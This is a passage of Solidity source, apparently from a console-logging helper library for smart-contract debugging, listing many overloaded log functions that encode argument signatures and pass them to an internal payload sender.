view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", 